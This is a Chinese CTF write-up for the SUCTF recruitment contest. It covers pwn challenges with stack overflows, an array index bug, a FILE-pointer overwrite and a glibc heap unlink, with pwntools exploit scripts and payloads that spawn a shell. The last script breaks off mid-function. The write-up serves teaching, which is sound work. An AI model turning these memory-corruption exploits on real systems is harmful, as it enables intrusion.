此次的SUCTF招新赛的PWN题一共有七题,难度算是逐步上升吧,写个稍微详细一点的WP,希望能给刚刚入门的萌新PWNer一点帮助

题目的名字被我统一改成了supwn1-7,对应这下面的七题,我也放到百度云上了:

链接:https://pan.baidu.com/s/1rnsyHCQzziS53AZZ-NTHzA
提取码:1ha2

stack

这是一道基础的栈溢出的题目,通过checksec可以看到该程序什么保护机制都没开,它是一个64位的小端序的elf程序,当然也可以通过file命令来查看程序的基本信息

$ file supwn1
supwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID [sha1] = b2842040168e718fe077a170b5ad273fbb0d28d6, not stripped

通过将程序拖入IDA中,可以看到它的反编译后的程序逻辑:

可以看到,该程序首先输出了一个字符串样式“suctf”,接着调用了read函数,向buf中读入0x30个字节

而在IDA中可以看到,buf的空间大小只有0x20个字节,这里明显造成的栈溢出,可以通过覆盖一个八字节ebp+一个八字节的跳转地址,实现控制程序的流程

另外有的时候,buf的栈空间大小并不能单纯的从上面的【rbp-20h】看出,它还可能是rsp寻址,得看【rsp+0h】,在这种情况下,可以使用gdb调试的一种插件---GEF的pattern功能来测出偏移的大小

就以这题为例子,我们打开gdb-gef:

首先创建一大串远远超过栈空间的字符串,然后输入进程序中:

不出意外的,可以看到程序崩溃了,然后我们用 pattern find $rbp命令去查找到rbp的偏移

可以发现,找到了偏移32,也就是0x20,是buf到rbp的距离

GEF还有很多很实用的功能,具体可以去探索一下,另外还有类似的gdb插件:pwndbg

接着,我们找到了偏移,就需要写一个exp脚本进行利用漏洞从而拿到flag

这里可以看到,IDA中有个next_door函数,它直接调用了一个system(/bin/sh)函数,如果之前的栈溢出控制跳转能够跳转到这里,那么就能实现getshell,从而拿到flag

我写exp脚本一般是python+pwntools

这里直接放脚本吧,结合着注释应该可以理解

#encoding:utf-8
#!/upr/bin/env python
from pwn import *#引入pwntools模块

context.log_level = "debug"#设置调试模式,可以看到输入和输出的具体信息

p=process("./supwn1")#打开该elf文件,这里我统一把原来题目的名字改了
#如果是连接远程端则用:p.remote("ip",端口)

binsh =0x400676#这是next_door函数的地址

payload = "a"*0x20+"b"*0x08+p64(binsh)#构造好覆盖ebp和返回地址的字符串,p64()这个函数是pwntools提供的,具体可以看官方文档查它是什么功能

p.send(payload)#发送该字符串
p.interactive()#进行交互,获得shell

如果对栈溢出的了解还不是很多的话可以参考以下链接进行学习:

手把手教你栈溢出从入门到放弃

CTF-WIKI

basic-pwn

这一题整体上和上一题基本上没有区别吧,都是一个栈溢出,跳转到一个函数,就可以读出flag了

保护机制:只开了一个NX保护,问题不大

Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

不同的是,这题用了scanf的方法,没有指定读多少个,读到\n即停止,

后门函数也不一样了

溢出的原理是一样的,就不过多的重复了,可以参照第一题拿来练习练习

这里直接贴exp:

#encoding:utf-8
#!/upr/bin/env python
from pwn import *#引入pwntools模块

context.log_level = "debug"#设置调试模式,可以看到输入和输出的具体信息

p=process("./supwn2")#打开该elf文件,这里我统一把原来题目的名字改了
#如果是连接远程端则用:p.remote("ip",端口)

catflag = 0x401157

payload = "a"*0x110+"b"*0x08+p64(catflag)#构造好覆盖ebp和返回地址的字符串
p.send(payload)#发送该字符串
p.interactive()#进行交互,获得shell

babyarray

这题主要是利用了一个数组下标越界的漏洞

先检查一遍他的保护机制:还是和上一题一样

Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

接着拖入IDA分析程序的逻辑

程序首先让你输入一个十进制整数v4,然后再让你往【4*v4 +0x6010a0】的地方输入一个十进制整数

这里可以看到v4的栈空间大小只有4个字节,而输入的又是一个十进制数,那么就没办法造成一个栈溢出控制程序的流程

继续看程序逻辑

输入完后,进行一个if判断,如果变量a为0的话,那么就会直接打印出flag,我们甚至不需要去控制程序的执行流程,双击一下a可以直接看到它所在的地址:是0x601068

只要让这个地方的值为0,那么我们就能得到flag了

从上面的输入逻辑可以发现,我们能控制【4v4 +0x6010a0】的值,只要让 `4 v4 +0x6010a0=0x601068`我们就能使得a为0,也就是得让v4为-14,就可以了

于是这题只需要,先输入-14,然后再输入0,就可以得到flag了

easy_overflow_file_structure

这题总的漏洞利用难度不是很大,但是发现溢出这个过程比较难,难点在于发现一个关键函数的漏洞,这比较考验个人的逆向能力

保护机制:

Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序一开始是这样的:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-1F40h]

  init();
  fd = fopen("./readme.txt", "r");
  fgets(&s, 0x1F40, stdin);
  su_server(&s);
  fclose(fd);
  return 0;
}

让你输入一大串东西,然后进入su_server函数

char *__fastcall su_server(const char *a1)
{
  unsigned int v1; // eax
  char v3; // [rsp+1Fh] [rbp-1h]

  v1 = time(0LL);
  srand(v1);
  v3 = rand() % 0x80;
  memset(&host, 0, 0x7FuLL);
  memset(&username, 0, 0x7FuLL);
  memset(&researchfield, 0, 0x7FuLL);
  rand_num1 = v3;
  rand_num2 = v3;
  rand_num3 = v3;
  if ( strncmp("GET / HTTP/1.1#", a1, 8uLL) )
    __assert_fail("!strncmp(getMethod,http_header,sizeof(getMethod))", "main.c", 0x59u, "su_server");
  lookForHeader("Host", a1, 0x1F40, &host, 0x7Fu);
  lookForHeader("Username", a1, 0x1F40, &username, 0x7Fu);
  lookForHeader("ResearchField", a1, 0x1F40, &researchfield, 0x7Fu);
  if ( rand_num1 != v3 || rand_num2 != v3 || rand_num3 != v3 )
  {
    if ( fd->_flags == 0xDEADBEEF )
    {//如果能覆盖掉 fd->_flags为0xDEADBEEF的话,就能getshell拿flag了
      puts("66666");
      secret();
    }
    fclose(fd);
    fflush(stderr);
    abort();
  }
  return response(&host, &username, &researchfield);
}



int secret()
{
  puts("W0W~ I will be very glad if you join in Asuri~");
  puts("This is a easy version of my fsop challenge.");
  puts("If you want to know more about it,search for the classic technique \"fsop\".");
  return system("/bin/sh");
}

这个函数的逻辑就是把输入的那一大段的字符串,当做一个http的请求,然后根据关键词Host:xxxx# Username:xxxx# ResearchField:xxxxx#来区分三段字符串,分别把xxx内容放入bss段中对应的位置,xxx字符串长度不能超过127

处理这些操作的函数是lookForHeader:

//lookForHeader(str, input, 0x1F40, &target, 0x7Fu)

  str_len = strlen(str);
  for ( i = 0; ; ++i )
  {
    result_len = 8000 - str_len;
    if ( result_len <= i )
      break;
    if ( !strncmp((input + i), str, str_len) && *(i + str_len + input) == ':' )
    {
      for ( i += str_len + 1; i < 8000 && (*(i + input) == ' ' || *(i + input) == '\t'); ++i )
        ;
      for ( j = i; j < 8000; ++j )
      {
        if ( *(j + input) == '#' )
        {
          if ( j - i + 1 <= 127 )
          {
            n_4 = i + input;
            while ( n_4 < j + input )
            {
              v5 = target++;
              v6 = n_4++;
              *v5 = *v6;
            }
            *target = 0;
          }
          break;
        }
      }
    }
  }

这里是最骚的了,当时看了好久以为这个函数没有太大问题,但实际上有问题

问题在函数开头这里:for ( i = 0; ; ++i )

这里会导致,如果输入的input中,有个多个Host:xxxx#的输入,那么for循环就还会继续,而也就会导致溢出,能往target的位置输入超过127个字符

只要利用了这一点,漏洞就很容易触发了

可以发现ResearchField在bss段的位置中,末尾很接近fd,而只要把fd指向的内容为0xDEADBEEF就可以getshell

.bss:000000000060217C                 db    ? ;
.bss:000000000060217D                 db    ? ;
.bss:000000000060217E                 db    ? ;
.bss:000000000060217F rand_num3       db ?                 
.bss:000000000060217F                                         
.bss:0000000000602180                 public fd
.bss:0000000000602180 ; FILE *fd
.bss:0000000000602180 fd              dq ?                    
.bss:0000000000602180                                    
.bss:0000000000602188                 align 20h
.bss:00000000006021A0                 public username
.bss:00000000006021A0 username        db    ? ;
.bss:00000000006021A0                                      
.bss:00000000006021A1                 db    ? ;
.bss:00000000006021A2                 db    ? ;
------------------------------------------------------------
  if ( rand_num1 != v3 || rand_num2 != v3 || rand_num3 != v3 )
  {
    if ( fd->_flags == 0xDEADBEEF )
    {
      puts("66666");
      secret();
    }
    fclose(fd);
    fflush(stderr);
    abort();
  }

exp如下:

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./supwn4"
context.binary=bin_elf
#libc = ELF("./libc-2.23.so")
elf = ELF(bin_elf)
libc = elf.libc
if sys.argv[1] == "r":#在命令窗口中输入 python supwn4.py r 表示接入远程端的程序
    p = remote("4xxxxx3",10002)
elif sys.argv[1] == "l":#在命令窗口中输入python supwn4.py l 表示本地进行调试
    p = process(bin_elf)
#-------------------------------------
#定义这些函数是我个人比较偷懒的写法,因为懒得输入各种p.xxxx()
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc(timeout=0):
    if timeout == 0:
        return p.recv()
    else:
        return p.recv(timeout=timeout)
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(a,s):
    return p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,'')
    pause()
def getshell():
    p.interactive()
#-------------------------------------
#gdb.attach(p)
pause()
payload = "GET / HTTP/1.1#"
payload +="Host:"+"a"*0x7e+"#"
payload +="Username:"+p64(0xDEADBEEF)+"#"
payload +="ResearchField:"+"c"*0x7e+"#"
payload +="ResearchField:"+"aa"+p64(0x6021A0)+"#"
sl(payload)

getshell()

unlink

这题是经典的堆漏洞中的unlink

保护机制:开了nx和canary

Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

IDA查看一波:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init();
  puts("welcome to note system");
  while ( 1 )
  {
    menu();
    puts("please chooice :");
    __isoc99_scanf("%d", &v3);
    switch ( v3 )
    {
      case 1:
        touch();
        break;
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        take_note();
        break;
      case 5:
        exit_0();
        return;
      default:
        puts("no such option");
        break;
    }
  }
}

经典堆漏洞题目的菜单功能

主要有四个功能

touch()函数,在现有chunk不满10个前提下,创建一个chunk,大小不限,得到的chunk指针存入bss段中的buf

unsigned __int64 touch()
{
  int v1; // [rsp+0h] [rbp-10h]
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 10 && buf[i]; ++i )
  {
    if ( i == 10 )
    {
      puts("the node is full");
      return __readfsqword(0x28u) ^ v3;
    }
  }
  puts("please input the size : ");
  if ( v1 >= 0 && v1 <= 512 )
  {//v1初始为0
    __isoc99_scanf("%d", &v1);
    buf[i] = malloc(v1);
    if ( buf[i] )
      puts("touch successfully");
  }
  return __readfsqword(0x28u) ^ v3;
}

take_note()函数,输入chunk的编号,对创建好的chunk 进行内容输入,输入长度为0x100个字节,如果创建的chunk大小只有0x50,这里就会导致堆溢出漏洞

unsigned __int64 take_note()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which one do you want modify :");
  __isoc99_scanf("%d", &v1);
  if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    puts("please input the content");
    read(0, buf[v1], 0x100uLL);
  }
  return __readfsqword(0x28u) ^ v2;
}

delete()函数,free掉chunk后,buf中的指针也被清空了,这样uaf就不能用了

unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which node do you want to delete");
  __isoc99_scanf("%d", &v1);
  if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    free(buf[v1]);
    buf[v1] = 0LL;
  }
  return __readfsqword(0x28u) ^ v2;
}

show()函数,如果对应的buf中的指针不为空,则打印出该chunk的内容

unsigned __int64 show()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which node do you want to show");
  __isoc99_scanf("%d", &v1);
  if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    puts("the content is : ");
    puts(buf[v1]);
  }
  return __readfsqword(0x28u) ^ v2;
}

通过以上的分析,我们可以发现,uaf不好用,唯一有明显漏洞点的地方在于take_note函数,就是可利用的是堆溢出,而堆溢出有什么用呢,在堆的布局中堆与堆之间都是相邻的,如果存在溢出,则可以修改到下一个chunk的pre_size 和size字段的内容

这里就可以用到unlink的操作了

首先需要知道什么是unlink

简单来说,unlink是堆管理机制中的一种操作,为了让相邻的空闲chunk合并,避免heap中有太多零零碎碎的内存块,合并之后可以用来应对更大的内存块请求而采取的一种方法,需要注意的是只有不是 fastbin 的情况下才会触发unlink,因为fastbin的size的p位默认为1。

合并的主要顺序为

先考虑物理低地址空闲块
后考虑物理高地址空闲块
合并后的 chunk 指向合并的 chunk 的低地址

源代码如下

#define unlink(AV, P, BK, FD) {                                            
   FD = P->fd;                                                                      
   BK = P->bk;                                                                      
   if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
     malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
   else {                                                                      
       FD->bk = BK;                                                              
       BK->fd = FD;                                                              
       if (!in_smallbin_range (P->size)                                      
           && __builtin_expect (P->fd_nextsize != NULL, 0)) {                      
           if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              
               || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
             malloc_printerr (check_action,                                      
                              "corrupted double-linked list (not small)",    
                              P, AV);                                              
           if (FD->fd_nextsize == NULL) {                                      
               if (P->fd_nextsize == P)                                      
                 FD->fd_nextsize = FD->bk_nextsize = FD;                      
               else {                                                              
                   FD->fd_nextsize = P->fd_nextsize;                              
                   FD->bk_nextsize = P->bk_nextsize;                              
                   P->fd_nextsize->bk_nextsize = FD;                              
                   P->bk_nextsize->fd_nextsize = FD;                              
                 }                                                              
             } else {                                                              
               P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      
               P->bk_nextsize->fd_nextsize = P->fd_nextsize;                      
             }                                                                      
         }                                                                      
     }                                                                              
 }

我们关注的点在于最后造成的结果会是 :

FD->bk = BK;

BK->fd = FD;

如果巧妙的构造fd,bk则会导致一个任意地址写的漏洞

同时这个unlink有一个检查机制需要绕过:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
     malloc_printerr (check_action, "corrupted double-linked list", P, AV);

即检查:chunk1前一个chunk的bk是不是chunk1,chunk1后一个chunk的fd是不是chunk1

如果我们通过touch函数构造chunk0和chunk1,大小都是0x80,接着再通过take_note函数对chunk0进行内容添加,由于输入的字节有0x100那么多,就可以通过溢出,任意修改chunk1的size,使得size字段的p标志位为0,让chunk0被误认为是已经free掉的chunk,这是实现unlink的一个前提条件,即要能修改size字段

接下来讲讲这题的思路,分为三大步骤:

  1. 泄漏出libc,从而得到system的真正地址
  2. 进行unlink,使得某个chunk的指针指向free函数的got表,并通过修改chunk内容从而修改free的got表为system的真实地址
  3. free掉一个内容为“/bin/sh\x00”的chunk,也就相对应执行了system(/bin/sh)

步骤一:

申请chunk0,chunk1,大小都为0x80

free chunk0

再重新申请一个chunk2,此时chunk2得到的地址和chunk0实际上是一样的,那么内容也会是一样的

由于chunk0被free的时候根据大小被放入了unsorted bins中,这时它的fd和bk都会指向unsorted bins

如果此时通过show函数打印出chunk2的内容,则实际上会打印出chunk0的fd和bk,也就泄漏出unsorted bins

当一个small chunk被free的时候,首先是被安排到unsorted bins中,
这时它的fd和bk都是指向表头的,因此泄露的地址是<main_arena+88>的地址,
而<main_arena>-0x10为<__malloc_hook>函数的真实地址,因此可以用这个函数来泄露libc的基地址</main_arena>

步骤二:

申请chunk0,chunk1,chunk2 ,大小都为0x80,内容均随意填充

构造 paylode:

payload = p64(0)+p64(0x81)+p64(fd)+p64(bk)+"a"*0x60
payload += p64(0x80)+p64(0x90)

目的是伪造一个chunk,使得他的大小为0x80,fd为0x6020c0-3*8,bk=fd+8 (0x602c0c是buf的地址)

通过输入paylode到chunk0中再溢出修改chunk1的pre_size 和size为0x80和0x90,让它误以为chunk1前面就有一个大小为0x80且处于free的状态

接着free掉chunk1

此时就进行了unlink的操作

FD->bk = BK ---> buf = buf -2*8

BK->fd = FD ---> buf = buf -3*8

造成的结果是buf[0]的地方存储着【buf-3*8】这个地址

回顾上面的take_note函数可以发现,是通过buf这个数组来向chunk中写入内容的

如果此时buf[0]的内容变成了【buf-3*8】而不是chunk0的指针

那么在向chunk0写入内容的时候就会变成向【buf-3*8】写入内容

这时就可以改变buf的内容了!将buf[n]的内容都可以被我们改变

如果将chunk1在buf中的指针改成free的got表,那么就可以改写free的gotb 表了

步骤三:

这时再向chunk2中写入“/bin/\sh”

再将chunk2 free掉

就相当于执行了:system(/bin/sh)

exp如下:

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./supwn5"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc64.so")
#libc = elf.libc


if sys.argv[1] == "r":
    p = remote("43.254.3.203",10005)
elif sys.argv[1] == "l":
    p = process(bin_elf)
#-------------------------------------
def sl(s):
    return p.sendline(s)
def sd(s):
    return p.send(s)
def rc(timeout=0):
    if timeout == 0:
        return p.recv()
    else:
        return p.recv(timeout=timeout)
def ru(s, timeout=0):
    if timeout == 0:
        return p.recvuntil(s)
    else:
        return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
    return p.sendlineafter(a,s)
def sda(p,a,s):
    return p.sendafter(a,s)
def debug(addr=''):
    gdb.attach(p,'')
    pause()
def getshell():
    p.interactive()
#-------------------------------------

def touch(size):
    sla(p,"please chooice :\n","1")
    sla(
        

Hacking more

...